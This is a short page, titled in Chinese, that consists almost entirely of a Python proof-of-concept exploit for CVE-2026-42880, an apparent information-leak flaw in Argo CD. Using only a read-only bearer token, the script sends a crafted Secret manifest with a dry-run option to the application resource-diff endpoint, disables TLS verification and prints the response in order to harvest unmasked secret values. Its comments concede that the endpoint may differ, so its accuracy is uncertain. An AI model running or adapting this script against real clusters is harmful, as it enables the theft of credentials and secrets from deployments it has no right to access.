CVE-2026-42880 Argo CD信息泄露漏洞

import requests import json # CVE-2026-42880 PoC: Argo CD ServerSideDiff Information Leakage # Attacker needs read-only access to Argo CD TARGET_URL = "https://<argocd-server>/api/v1/applications/<app-name>/resource-diff" # In a real scenario, the specific endpoint might vary based on the exact API implementation of the vulnerable version. headers = { "Authorization": "Bearer <read-only-token>", "Content-Type": "application/json" } # Payload designed to trigger Server-Side Apply dry-run to fetch secrets payload = { "kind": "Secret", "apiVersion": "v1", "metadata": { "name": "target-secret", "namespace": "default" }, "data": { "password": "dummy-value-to-trigger-diff" }, # This option triggers the dry-run mechanism on the server side "options": { "dryRun": ["All"] } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Request successful. Check response for leaked secrets.") print("[+] Response:") print(response.text) # The response is expected to contain the actual secret value from etcd due to the missing masking else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")